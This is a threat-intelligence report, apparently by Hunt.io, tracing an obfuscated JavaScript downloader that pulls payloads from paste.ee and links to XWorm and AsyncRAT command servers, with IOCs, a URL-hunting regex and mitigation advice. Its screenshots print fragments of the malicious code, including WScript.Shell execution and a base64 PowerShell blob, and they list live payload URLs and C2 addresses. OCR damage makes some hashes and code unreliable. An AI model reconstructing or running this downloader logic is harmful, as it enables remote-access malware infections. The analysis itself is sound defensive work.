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While reviewing recent malware submissions from a public repository, we flagged a small
JavaScript file packed with unusual Unicode characters and broken syntax. At first glance, it
looked like malformed or incomplete code, but it was actually a disguised downloader
contacting paste.ee, a legitimate service often abused to host staged payloads.

What appeared to be a standalone script turned out to be part of a broader campaign
involving obfuscation, paste sites, and globally distributed C2 infrastructure tied to known
remote access tools.

Further analysis revealed links to XWorm, a stealthy RAT with capabilities like keystroke
logging, data exfiltration, and persistent remote access. In this report, we detail how we
traced the activity, extracted IOCs, and built regex and SSL fingerprinting techniques to help
defenders detect similar threats.

Technical Analysis

Our research team discovered this script while monitoring newly uploaded samples to
MalwareBazaar.

It was immediately flagged with the RemcosRAT signature and caught our attention due to
its deceptive filename: "DOCUMENT FOR DELIVERY INFORMATION.js". At just under
3KB, it may look harmless, but its behavior and indicators revealed a clear link to a known
remote access trojan.
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https://hunt.io/blog/pasteee-xworm-asyncrat-infrastructure
https://hunt.io/glossary/c2-nodes
https://hunt.io/blog/keyplug-infrastructure-tls-certificates-ghostwolf-activity

This sample became the starting point for our investigation, and what we found next
shows how attackers continue to rely on small, weaponized scripts to deliver powerful
malware.

SHA256 hash: D 8da7da34b7fa3b6585200c9ead6chefe39b31f5f1e 1b26f59bd0bc3ccdfodcd

SHA3-384 hash: [ d9d5c93a1d948c1d845674931f04d188bf617a94c4899201319a940607e538d6e3546d4a0db3880260a67befab3eb3a2
SHA1 hash: [ d46deb68f76be721e51b087eb8ff4400d17b5465

MDS5 hash: [0 bd4952489685f6a76fe36fc220821515

humanhash: 1k} sweet-salami-pasta-winner

File name: 6304664483 DOCUMENT FOR DELIVERY INFORMATION.js

Download: B download sample

Signature @ 3k RemcosRAT | 2 Alert |

File size: 2'960 bytes

First seen: 2025-05-13 08:18:19 UTC

Last seen: Never

File type: js

MIME type: text/plain

ssdeep @ [0 48:n4)j1rdiNioNfjihrVHvFcjk7S9zaj6fm:ngsNf2JHvFcjkoajwm

TLSH® D T1165103430D7750DD50589D967EBA779EF0825821D041F6COAD3DAAE3DBD 1A8EEEB463C
Magika ® Jjavascript

Reporter @ wa abuse_ch

Tags:

Fig 01. Obfuscated JavaScript on MalwareBaazer

This JavaScript code is an obfuscated malicious script designed to download and execute
code from a paste.ee. It hides its true functionality by inserting a long sequence of unusual
Unicode characters (£::°¢ -3t K(OH T wj) throughout strings. These characters are later
removed to reveal the actual commands and object names.

The script dynamically reconstructs the name of the MsxML2. XMLHTTP ActiveX object, which
is used to make an HTTP request. It then builds a hidden URL by removing the same junk
characters from an obfuscated string, ultimately forming a complete address like
http://paste.ee/d/s1uvin8i/0.

The script sends a GET request to this URL, retrieves the response (typically malicious
code), and immediately executes it using the Function constructor.
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httpObject =

e = httpObject.responseText;

exacFunctio

cognisable + rotenone + phason;

exclamatorily + sterelmintha;

We started by scanning the domain paste.ee using the Hunt.io web interface to uncover any
IOCs or malicious activity associated with it.

Info  C2/Malware ) Phishing@Eip URLs@EELp OpenDir@l IOCEP Current WHOIS WHOIS History

Hostname: Is Apex Domain:
paste.ee Yes

A Records: NS Records:
23.18613.60 dora.ns.cloudflare.com

amit.ns.cloudflare.com

Fig 03: Resolved IP Related to paste.ee on the Hunt.io Platform

According to the results we got, this is an apex domain with the hostname paste.ee and
resolves to the IP address 23.186.113.60. Hunt.io currently links the domain to 230
phishing URLs, 12 IOCs, and over 9,500 URLs in total.
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https://hunt.io/glossary/indicators-of-compromise-iocs
https://app.hunt.io/domain-detail/paste.ee?tab=info

Info C2/Malware @@ FPhishing @) URLs@ELD) OpenDir@@ IOCED Current WHOIS WHOIS History
Search for...
URL First Seen < Last Seen < Verdicts
03/23/2024 03/25/2024
03/26/2024 03/28/2024
03/26/2024 03/26/2024
http://paste.ee/d/17Yon 03/29/2024 03/29/2024
http://paste.ee/d/wHOEk 03/30/2024 03/30/2024
https://paste.ee/ 04/01/2024 04/01/2024 suspended-cloudflare, suspended-cloudflare
04/08/2024 Q4/06/2024
04/07/2024 04/07/2024
04/08/2024 04/08/2024
04/16/2024 0416/2024
https://paste.ee/dfywRmc 04/16/2024 04/16/2024
https://paste.ee/dfunayy 04/16/2024 04/16/2024
http://paste.ee/d/3cWme 04/18/2024 04/18/2024
IrfFbBWd 05/07/2024 05/07/2024
/d/K2DwX 05/08/2024 05/08/2024
fvDojs 05/10/2024 05/10/2024
03/28/2024 05/13/2024
http://paste.ee/d/ogdNY 05/13/2024 05/13/2024
https://paste.ee/d/ogaNY 05/12/2024 05/13/2024
https://paste.ee/d/618yb 05/16/2024 05/16/2024
http://paste.ee/d/thARY 0517/2024 05/17/2024
http://paste.ee/d/IKfbD 05/28/2024 05/28/2024
05/31/2024 05/31/2024
06/04/2024 06/04/2024
https://paste.ee/dfjAUUQ 06/06/2024 06/06/2024

[

Fig 04: Phishing URLs Related to passte.ee on the Hunt.io platform

Regex Hunting Based on Phishing URL Structure

After analyzing the phishing URLs associated with the domain paste.ee, we observed
recurring patterns in their structure. Due to these similarities, we decided to craft a regex
https:\/\/paste\.ee\/[a-z]\/[A-Za-z0-9]+\/0% to hunt and detect related malicious
URLs.

4/15


https://app.hunt.io/domain-detail/paste.ee?tab=phishing

SqL Editor m ¢» Format [[a]} 5]

1,/ SELECT
, url

wrlx

wrl RLIKE “*hitps:\/\/pastel. eet/[a-2]\/[A-Za-z8-9]+\ /a5

Dataset: Results o

Results
1,408

Custom Timeframe. Download

»

ur

https://paste.ee/d/0SrTa/0

https://paste.ee{d/2TloM/O

https:/{paste.ee/d/3BKoviD

https:/[paste.ee/d/3ZeYs/0

Fig 05: Phishing URLs Regex Hunting Using Hunt.io SQL

We want to analyze potentially malicious infrastructure or check out web assets found in
malware data, the first step is to pull out the relevant URLs from an NDJSON file. This
NDJSON file usually contains a bunch of JSON objects, each with URLs and some extra
info. To get just the URLs, we use a handy command-line tool called jq. Running this
command:

jg -r ".url" export.ndjson > urls.txt

takes the NDJSON file ( export.ndjson), grabs the URLs from each entry, and saves them
into a simple text file ( urls.txt). This ensures the URLs are clean (no quotes or extra
characters) so they're ready for the next steps.

After we have this clean list, we use another tool called httpx from ProjectDiscovery to check
the status of each URL. Basically, we want to see which sites are up and responding with a
200 OK status, because these could be admin pages, command-and-control servers, or
other important parts of the malware infrastructure. The command we use is:

httpx -1 urls.txt -mc 200 -o 200urls.txt

This reads the URLs from urls. txt, filters out the ones that respond with HTTP 200, and
saves those into 200urls. txt. That way, we can focus on the live targets.
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var imperia = CHEEE [f

peria.replace (/B 27 i
var coccidioid = new ActiveXObject("WScript.Shell");
coccidioid.Run{imperia, B, false);

§T

"OWAgAC(AVEBGAFUAS gBJ ACAAPOAZAC QAGABVAHNAGAAUAF YAZOBYAHNA 20BvAGAAL g BNAGEAaEBVAHT AL gBF AHEAOBRAGHAC WAOADTAKQARADS AaBmAC AAK
BJAEBAL gBOAGEAIABOAFBADRAGAE CAZQBBAFQAZOBT AHAAUABRANQAIARDACKATAADADS, TAGHATARDAC AL ABWAGEAQQBUAGEATAAr ACAA IWBCAF UACABY
GWAZOB2ZAC4AYWBhAHQAYZBVAH AL 2B AGRAZOAVAHMAYQE r AHUASQRYACABQB2 AHUA JWATACQAYQBZAGKAQQBPACAAPQARACE ASABBAHQAC ABZADOAL WAVAGY,
eQBEAHUATAAZADBATAAKAGUAD 252 ADOAUABSAEBAGWEFAF HAUWBP AF TAXWBBAF 1AQWD LAEKAVABF AEMAVABYAF TARQAUAENADWBUAHQAY QBPAGAAC WAOACC ANg
NAFKAIOBBAGKATAATAHBAZQES AHMAZOAEAHSAJABZAGWA EBS AGOATAAIACARKARKAHHADABEAHKAZAADACAROWBIADS A ABXAGEARQE] AGOATAAIAC AAKABOA
OALEBFAGIAYWBVAGOAINBUAGCATAASACAAWWETAHKACWEBAGUADQAUAFQAZQBAAHQAL EBF AGAAYWBYAGQAAQBUAGCAXQABADCAVQBUAE YAOAATACQACQBOAHKA
FBVACARKWAZALCAXABVAHAAWBPAGIAL gBT AHMACNANACKATARPADSA I AB AL TAZOBr AHAATAASAC AAKAAZAC CANWABAFWAVOBZAGUACZBTAFWA IWARACSATAR
AHEATARSAC AAKAAKAF YAYQBBAGAADWARAC SATAANAF WAV BwAlic AaQBUACAADOB2 AHUA WAPADSATABWAGBAdWE L AHT ACWBOAGUADABSAC4AZ(BAAGUATABIAH
AGAARADSATABDAGEACABSACOASQBEAGUABQAZACCAI QBYAFIACOB0AEKA JQANACAALQBEAGUACHBRAGKADEBNANQAINBVAGAATAADACAA JASJAEIAZQEr AHAAT
BAAGKADEBKAGEACWSZAF HAUNBBAGEACEBBACAATOB 1 AGHAIQE CAF AACEBVAGCAC ZBNAGBACWECAF MAUAB NAH LADAB LAHAAIHAZACKALAATAGY ALWEYAGHAZ QAL
HAATAAXADEAHAANADSATABZAGEZACOBBAGHADWE3AGLALED LAHZAZ QAZACBACEAZACBAAAZADAAT AAVAGYATABSAGUABABZAGUA T ABTAF sAUWBSAHMADABLAGE
dOByAGKAJABSAF AAcgBvAHOADHE ] AGBADAAZADBATABDAF HA= Bz AHQAZOBACSATEB LAHGAL gBTAGUAY WB1AHTAAQBEAHKAUABYAG BACABYAGHADNE S AF (AS]
PAHIAZOBZAGRAYQBYAGSAIWASACC AYOBWAGEADABTAEQAT g RTACC ALAANAGE ABZBhAGHA=QBGAGUA IWAR ACBAZOBhAC AAUWBPAGWAZQBLARDADABS AENADWBUAN
BADQAKAADAC gB1AGHACKB1AHSATAANAAOAUZE1AHHAGABhAHTAGAALAEMAbWE tAHAADQBBAGUACRARACBAZEBVAHIAYWE1ACAADWANAADATAARACAAT AARACAA
WEpAGAAdABNAGE ADZBhAGCAZQBYAFBADGAGAFMAZOE ] AHUACEBPAHQARQBQAH LADWEBAGEAYWBVAGWATAAIACAANWE TAHKACKBEAGUADQAUAE SAZQBOACAAUNE
AHQACEBPAGAAZHE 1AGEACHE IADSAREB1AGIAYWBBAGKADWBUACAAQEBNAHMAZQBNAHKABKHATACQAIABHAFUAZQBHACAAPQAZAF SAURBS AHMAGAB 1 AGOAL EBUAG!
AcWBSAHMAdAB1AGBAL gBDAGBADZB2AGUAC ZBOAFBADZABAE YACEBVAGBANEBRAHMAZDAZADOAUWBEAH] AaQBUAGCAKAAKAFMADABY AGKADEBNAGT AYOBZAGUAK]
BOAH(AC ABz ADOALWAVAHC AdwB 3AC 4Ac ABhAHMACABT AHT Ae(AuAGAAZQBBAC DAC wBKAGUACIBMAHE ALW yAGEAdWAVAC CATAADADSA JAB]AFOATEBxAGYATAAS
HOAARDACKATAATACAA JWBKAGHADANWADEAL BBAHEACAANAL AAKQATACQAHET AGT AQWB S AGKAZQBUAHQATAASACAATEBTAHC ALQBPAGTAIE A 1AGMADAAZAFH
JAB3AGUAYEBDAGHAIQE LAGIATAAUAEQADWEIAGAABABVAGEAZ ABTAHOAC EBPAGAAZWACALAAAS ] AGYAR ABOAGMA LAADACAADHAKAF MATABY AGKAD ZBN AB LAY
1AE TASWBOAGYATABSACAATWB1AHQALOBGAGKADAR LACAALQBGAGKADABLAF AAYQBOAGEATAAKAGHAWZBOAHE AZ EAZAL BARQBUAGHADWBKAGKAD ZBNACAAJWBVA
BALgBJAEBALEBOAGEAdABOAFBADZABAE CAZQBBAFQAZOBTAHAAVABNhAHQASAACACKATAAT ACAA JwBkAGWADAAWADIAL gBOAHZACAANACAAKOAZADSA ABLAGHA
ZBDAGHAINB 1 AGAGAARADS A ABLAGNALABRAHOAL ZBF AGAAYWEVAGQA3QBUAGCAT AASAC ANNWBTAHKACWEBAGUADQAUAFQAZQBAAHQAL gBFAGAAYWEYAGQAAQE]
AGUAbZBBACAALOBOAGEADABOACAA JAB | AFOATZBXAGY AT AADACARDHAKAECASZBZAEAASAAZADAATAAKAE S AYWENAFEAS GAUAE QAbREIAGAADABYAGEAZABEAS!
ALgBUAGUAeABBAC4ARQBUAGHADWBKAGK AbZBNAF BADZAGAF UAVABGADZAL gBHAGUAJABTAHQAC gBPAGAAZWADAC QARWBGAFKATEBTACKADWAKAFC ACEBKAE WA

BmAGBACEE] AGUAIAATACQACABXAHZATWBDACAAPQAZACCAIABBAGYAWQE JAGBATAASACAAKAAGAF SAUWE SAHMAJABLAGBALEBIAEBALEBQAGEADASOAFBADZAG
CKATAATACAAJABYAHKAYQB LAECATAAIACAAKABHAGUAUAA TAE MADWBUAHQAZQBUAHQALAATAFAAYQBOAGEATAAKAHOAZ ZBZAEKADWAZAL DARQBUAGMADWBK AGK
XQABACQAAABHAF UAZQBWACAAPQAZAFsACWBSAHMADAB LAGBAL gBDAGBADZB2AGUACgBOAF BADEABAE YAC gBVAGBAQEBhAHMAZOA2ADQAUWBBAH TA2QBUAGC AKA

var hysterocystic = ([J+[Infinity]1[+[11)[e],
smirked = ([]+[Infinity][+[]11)[1],
trimorphic = ([]+[Infinity][+[]11)[2],
toothwort = ([J+[Infinity][+[11)[31,
= ([1+[InFinity][+[11}[4],
Hercules = ([J+[Infinity][+[11)[5].
cycloimber = ([]+[Infinity][+[]11)[6],
confide = ([J+[Infinity][+[11)[7].
palabra = ([]+[Infinity][+[11)[81,
volkmannia = ([]+[Infinity][+[]11)[9]1;

var Breuer = "1z Gapat
var drearihead = "$=

"Inve gapat

ad = drearihead.replace(/ = g.

var maculopapular = "= Qupdt * B-BEn‘Cupow s Gapht
maculopapular = maculopapular. replace(/ = @upét = B
var garrudas = new ActiveXobject("WSeript.Shell®);
garrudas.Run{maculopapular, B, false);

var hysterocystic = ([]+[Infinity][+[11)[e],
smirked = ([]+[Infinity][+[11)[1],
trimorphic = ([1+[Infinity][+[11)[2],
toathwort = ([ J+[Infinity][+[11)[2],
= ([1+[InFinity][+[11)[4],
J+[Infinity][+[11)[51,
cycloimber = ([1+[Infinity][+[11)[6],
confide = ([]+[Infinityl[+[11)[71,
palabra = ([]+[Infinity1[+[11)[2],
volkmannia = {[]+[Infinity][+[11)[9];

ZACKATAATAC CATAATACQADABXAHEATWBDAC AAKWATAC AA I wBDAFMACBz AHQATOB tAC 4ANOBWAHAARABY AGBAYBPAGAAXQAGAC CATAAr ACAA I WABAENADBYA
QAVWBAAE BAQWAZACSAPQAZACC ARWE LAHQAVAB SAHAAZQADACAR I WANAEMADABhAHNAC WEMAGKAY EBYAGE AcgB S ADNAL gBDAGHAY QB2 AHMAMQANAC CATAADACAA
£BJACCAJWAZACKALEB JAGAAIEBYAGSAZ QAOACAAJABUAHUABABSACAALAMEAF SADWE 1AGOAZQB ] AHQAWN BUAFBALAADACAAI HANADAAL HEOAEUAY EATAEEADNE:
AHEAQABJACUAI WARACAALAAEACCA JWBEACAARAAXAE QAY WABAFWACWBDAGAAZABYAHCACHBCAGAAIQE] AHIADWEZAGBAZEBAACAADEE1AHQAXABMAHI AYQBEAG
ATAATACOAUWBAAHMAZOBTACAAPQAZACEATABRAFNARQBZAHOAZOB TACAASOBPACAAUABNAHGARABCADOADEBHAGUADABUAGUADQBWAFAAY(BBAGZAKAARAL AAK
BpAGWAZARACBAREBPAGHAZOBOAGEADABOACAA I ABTAHEACWE LAGBATAAZACBAZ gBVAHTAYWBACAAOWB HAGBAdWE 1 AHTACHBOAGUARABSACAALOBFANEAZQE]
GOATAATAHBADWA=";§TT = [System. Text Encoding]: Unicode GetString([System.Canvert]: FromBasef4String(ST)) powershell STT

Fig 06: Malicious Responses from paste.ee URLs
During our investigation of the provided URLs, we discovered several malicious PE files that

were both encoded and reversed. After decoding a file and loading it into dnSpy for analysis.

Upon decrypting the encrypted configuration, we identified the malware as XWorm.

Fig 07: XWorm Configuration

XWorm captures all keyboard input across the entire system, recording keystrokes in all
programs. It tracks active windows, monitors Shift and Caps Lock states, handles special
keys, and supports international keyboards.

The program silently saves all captured data to a file on disk, gradually building a collection
of passwords, private messages, and other sensitive information. XWorm includes a
command-and-control (C2) module that keeps a persistent backdoor open on infected
systems. The CclientSocket class handles connections to remote C2 servers, giving
attackers full remote access. It supports multiple backup servers and randomly selects one
from a list of IP addresses or domain names in its settings.

Once connected, it collects detailed system information, including a unique machine ID,
username, OS version and architecture, hardware specs, installed antivirus software, and
whether a webcam is present. To stay connected, it sends regular "PING" messages every
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https://github.com/dnSpy/dnSpy
https://hunt.io/glossary/command-and-control-server-c2

few seconds, each including the title of the active window, all over an AES-encrypted
channel.

After decrypting the domain abuwire123[.]ddns[.]net used by XWorm, we scanned it
using VirusTotal and found that it resolves to the IP address 45.145.43.244.

abuwirel23.ddns.net

ddns.net

DETECTION DETAILS RELATIONS COMMUNITY 2

Passive DNS Replication (2) &

Date resolved Detections Resolver P
2025-03-26 [ 94 VirusTotal 0.0.0.0

2025-03-24 f94 VirusTotal 45.145.43.244

Fig 08: Resolved IP Related to the Domain Hosting XWorm
The IP address 45.145.43.244, based in Frankfurt am Main, Germany, and registered to
dataforest GmbH (ASN: AS58212), shows signs of being part of a malicious infrastructure.

It falls within the 45.145.43.0/24 subnet and has several open ports, including port 22 (SSH)
and port 80, which is running Nginx 1.24.0. More concerning are ports 6606 and 7707,
both flagged for hosting AsyncRAT, a well-known remote access trojan. These ports were
first detected in February 2025.

AsyncRAT is an open-source remote access trojan written in C# that has been available on
GitHub since around 2018. Because its source code is publicly available, many threat actors
have forked, modified, and rebranded it to create their custom variants while retaining the
core functionality.

SSL Certificate Activity for 45.145.43.244

The IP address 45.145.43.244, operated by dataforest GmbH in Hesse, Germany (ASN:
AS58212), has shown suspicious behavior across multiple ports over the last two years.
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https://hunt.io/blog/uncovering-threat-actor-tactics-xworm-delivery-strategies
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o Early 2025: SSL certificates observed on ports 6606 and 7707 were linked to
AsyncRAT, a known remote access trojan. These certificates first appeared in
February 2025, indicating the setup of a fresh command-and-control (C2)
infrastructure.

e Throughout 2024: The same IP hosted RDP services on port 3389, using certificates
with hostnames like WIN-RISCECQIG28 and WIN-HRF8D30M84N, suggesting that
compromised Windows systems may have been used as relay nodes.

o March-May 2024: SSL certs on port 30120 were issued by do-not -
trust.citizenfx.tls.invalid, typically associated with FiveM game servers. These
are occasionally abused to host unauthorized or malicious services.

e June-August 2023: The IP was used to host multiple HTTPS websites on port 443,
including suspicious domains like carosnews.com and

Further investigation of SSL certificate patterns linked to AsyncRAT revealed a broader C2
network. Notably:

e U.S.-based nodes hosted by QuadraNet Enterprises LLC include:
o 66.63.187.154 (port 6606)
o 66.63.187.232 (ports 8808, 6606)
o 196.251.118.41 (port 8808)
o European infrastructure operated by SC ITNS.NET SRL includes:
45.145.43.244 in Germany, with active ports:
= 6606 (as of March 3, 2025)
» 7707 (as of February 24, 2025)

Using SSL certificates labeled "AsyncRAT" can help detect various AsyncRAT variants. And
we can see an example in the next figure.
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66.63.187.154 - Overview

Info Domain ) Associations @)  Signals Activity @)  History

66.63.187154 © Kihgdem DNS ASN
Reversa DNS - IP Ranges 66.63.187.0/24
| Q . Forward ) Hosting ~
DME Companiss Railnet LLC
. Tag ASM AS214943
Railnet LLC DNS -

London, England, GB

Open Ports and Software
Name < Paort ~ “endor Product Wersion Extra Info First Seen < Last Seen ©
@ UNKNOWMN 05/11/2025 05/23/2025 Q
@ UNKNOWN 09/26/2024 05/20{2025 Q
SME m 09/26/2024 05/23/2025 Q
@ UNKNOWN m 05/23/2025 05/23/2025 Q
2 TLS m 05/11/2025 05/23/2025 Q
.f/— -\‘-
|\ UINKNOWM @ Metasploit 01/05/2025 0162025 Q i /}I
& HTTP @ Microsaft, Windows 05/12/2025 05/20/2025 Q
@ HTTP Microsoft, Windows 05/10/2025 05/23/2025 Q
.ff -H\‘-
s yricRA 5 5
( b ] AsyncRAT 05/12/2025 05192025 Q i )

\'\-\_ "

Fig 09: Open Ports Related to 66.63.187.154 on Hunt.io
So, we need to check the extracted |I0OCs. After scanning the IP address 45.145.43.244 on
VirusTotal, we can see that it's related to the XWorm malware.
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45.145.43.244 (45.145.40.0/22)

A5 58212 (dataforest GmbH )

DETECTION DETAILS RELATIONS COMMUNITY |2

Voting details (1) ©

‘i'r ‘ MiXLovesXerneas
L 4 months ago

Comments (1) @

If‘" #%  NIXLovesXerneas
A &£ .

4 months ago

.
XWorm C2 at 45.145.43.244:1111

Geolocation: Offenbach, Hesse
Organization: dataforest GmbH
ASN: AS5E212

Country: DE

Confidence Level: 100
Reference: https://x.com/K_N1lkolenko/status/1880172794811675049
10C: https://threatfox.abuse.ch/ioc/1385050/

#DATAFOREST #XWorm #c2 #DE #A558212

Fig 10: VirusTotal XWorm C2 Community Comment
We will also scan 66.63.187.232 with VirusTotal. From the community, we see comments
that confirm that this IP address is related to XWorm C2.
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66.63.187.232 (66.63.187.0/24)
AS 214943 ( Railnet LLC)

DETECTION DETAILS RELATIONS COMMUNITY 4
Voting details (2) ©

MiXLovesXerneas 9 JaffaCakes118

17 days ago 17 days agn

Comments (2} &

.—1;- NIXLovesXerneas
A &£ .

17 days ago

LS
XWorm C2 at 66.63.187.232:1111

Geolocation: Lelystad, Flevoland
Organization: Railnet LLC

ASN: AS214943

Country: NL

Confidence Level: 75%
10C: https://threatfox.abuse.ch/ioc/1524006/

#XWorm #NL #A5214943

Fig 11: VirusTotal XWorm C2 Community Comments
After checking the community for this IP 196.251.118.41 we can see that this is related to
AsyncRAT.
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Q  196.251.118.41

JaffaCakes118
6 = 28 daysago
10C: 196.251.118.41:7707
10C Type: ip:port
Threat Type: botnet_cc
Malware: AsyncRAT
Confidence Level: 100%
First seen: 2025-05-06 11:10:49 UTC
Country: The Netherlands
ThreatFox: https://threatfox.abuse.ch/ioc/1516750/
Tags:

HEMavINIE

Show more

JaffaCakes118
] 28daysago
10C: 196.251.118.41:8808
10C Type: ip:port
Threat Type: botnet_cc
Malware: AsyncRAT
Confidence Level: 100%
First seen: 2025-05-06 11:10:49 UTC
Country: The Netherlands
ThreatFox: https://threatfox.abuse.ch/ioc/1516756/
Tags:
HEMAaVvINIE

Show more

JaffaCakes118
6 7] 28daysago
10C: 196.251.118.41:4447
10C Type: ip:port
Threat Type: botnet_cc
Malware: AsyncRAT
Confidence Level: 100%
First seen: 2025-05-06 11:10:48 UTC
Country: The Netherlands
ThreatFox: https://threatfox.abuse.ch/fioc/1516747/

Fig 12: VirusTotal AsyncRAT C2 Community Information

When checking 66.63.187.154, we couldn't find any attributed information related to it, but
when we went back to check information from our project, we found that this is also related
to the AsyncRAT variant or itself.




66.63.187.154 - Overview

Info Domain ) Associationsf) Signals Activity @)  History

66.63.187154 ©  fraden DNS ASN
Reverse DNE IP Ranges B6.63.187.0/24
Forward Hostin
|g. | .
DMS Companies Railnet LLC
) Tag ASM AS214943
Railnet LLC DMS
London, England, GB
Open Ports and Software
Name = Port =~ \endor Product Wersion Extra Info First Seen % Last Seen
@ UNKNOWN 05/11/2025 05/23/2025 Q
@ UNKNOWN 03/26/2024 05/20/2025 Q
SME m 09/26/2024 05/23/2025 Q
@ UNKNOWN m 05/23/2025 05/23/2025 a
& TLS m 05/11/2025 05/23/2025 Q
.f/,- -H\‘-
|\\ LINKNOWN @ Metasplit 01052025 01/16/2025 Q /}I
& HTTP @ Microsaft, Windows 05/12/2025 05/20/2025 Q
& HTTP Microsaft, Windows 05/10/2025 05/23/2025 Q
g )
'E‘j TLS Ay =1 5 5 Q -ﬁ'[-
'.\ AsyncRAT 05/12/2025 05/18/2025 /}I
& HTTR m Microsoft, Windows 08/26/2024 05/17/2025 o]

Fig 13: Open Ports Related to 66.63.187.154

Summary

This campaign shows how attackers are evolving their methods to better hide their tracks.
They’re using paste.ee, a legitimate website where people share text snippets, as their
starting point to spread dangerous malware.

What caught our attention was the sneaky way they hide their code using weird Unicode

characters that most people wouldn't recognize as suspicious.

Recommended Mitigation Strategies
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To protect yourself from these sneaky attacks, block all identified domains and suspicious
paste.ee URLs mentioned in the report. Specifically weird paste.ee links that follow a specific
pattern like https://paste.ee/d/something/0

Keep an eye out for weird connections to unusual ports like 6606 or 7707, which are where
the attackers control their malware from.

Ensure your security software is up to date and can detect unusual behavior, not just known
viruses. Be extra careful with emails containing links to paste services, and watch out for
messy or highly obfuscated JavaScript can indicate an attempt to hide downloader logic or
embedded payloads.

If you're responsible for security at your organization, regularly check your systems for these
warning signs and suspicious activities that might indicate you've been targeted.

XWorm and AsyncRat Indicators of Compromise (IOCs)

IP addresses and Domain Names

45.145.43.244  abuwire123[.]Jddns][.]net dataforest GmbH (ASN: Frankfurt,

AS58212) Germany
66.63.187.154  Not Available QuadraNet Enterprises United States
LLC

66.63.187.232  abuwire123h[.]ddns[.]net QuadraNet Enterprises United States
abuwire123[.]duckdns[.Jorg LLC

196.251.118.41 Not Available Not Available Not Available

23.186.113.60 paste.ee Not Available Not Available

IP Addresses and C2 Ports

45.145.43.244 6606 XWorm C2 AsyncRAT February 24, 2025

66.63.187.154 6606 AsyncRAT C2 AsyncRAT February 2025

66.63.187.232 8808 XWorm C2 AsyncRAT February 2025

196.251.118.41 8808 AsyncRAT C2 AsyncRAT February 2025

Malicious URLs and Patterns

https://paste.ee/d/s1uVin8i/0 Malicious code hosting Payload hosting
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https://paste.ee/[a-z]/[A-Za-z0-9]+/0 Generic paste.ee pattern 10C Pattern

File hashes

Javascript bd4952489685f6a76fe36fc220821515

Xxworm 6e976623d02e20d1b83e89fecd31215b
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